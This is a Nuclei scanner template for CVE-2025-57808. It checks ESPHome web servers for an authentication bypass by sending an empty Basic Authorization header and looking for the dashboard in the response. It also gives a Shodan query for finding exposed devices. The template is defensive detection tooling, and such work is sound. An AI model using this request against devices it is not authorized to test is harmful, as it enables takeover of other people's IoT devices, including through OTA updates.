id: CVE-2025-57808

info:
  name: ESPHome - Authentication Bypass
  author: sean-kim
  severity: high
  description: |
    ESPHome 2025.8.0 contains an authentication bypass caused by improper validation of base64-encoded Authorization values in the web_server component, letting attackers access functionality without valid credentials, exploit requires crafted Authorization header.
  impact: |
    Attackers can bypass authentication to access web server functions, including OTA updates, potentially compromising device control.
  remediation: |
    Upgrade to version 2025.8.1 or later.
  reference:
    - https://cybersecuritynews.com/esphome-web-server-authentication-bypass/
    - https://github.com/esphome/esphome/security/advisories/GHSA-mxh2-ccgj-8635
    - https://esphome.io/components/web_server/
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.title:"ESPHome"
  tags: cve,cve2025,auth-bypass,esphome,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/"
    headers:
      Authorization: Basic

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Dashboard - ESPHome")'
        condition: and
# digest: 4b0a00483046022100f468feecaa85800515ac35dda5f3a71d029273757f1dbb45401f78866e956cd2022100be998886f966fa215b9730597d7b24f67deecda75f4ac53cad70dcdd2935cdea:922c64590222798bb761d5b6d8e72950